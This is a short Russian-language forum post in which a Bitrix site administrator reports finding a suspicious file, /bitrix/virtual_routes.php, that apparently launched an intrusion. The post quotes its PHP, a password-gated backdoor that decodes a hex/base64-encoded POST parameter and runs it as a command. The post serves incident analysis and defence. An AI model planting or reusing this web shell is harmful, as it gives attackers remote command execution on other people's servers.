Обнаружил такой файл, запуск был явно с него, но как он туда попал пока не понятно
/bitrix/virtual_routes.php
С таким содержимым
/bitrix/virtual_routes.php
С таким содержимым
Код |
---|
function urlDecodeText($encodedText) {return urldecode(base64_decode(hex2bin($encodedText)));} CModule::IncludeModule('controller'); $cache = $_POST['cache']; if(isset($_POST['hash']) && $_POST['hash'] === '8qx1zzag1zxm6i9ulutq0gos4uo') $result = CControllerClient::RunCommand(urlDecodeText($cache), 0, 0); |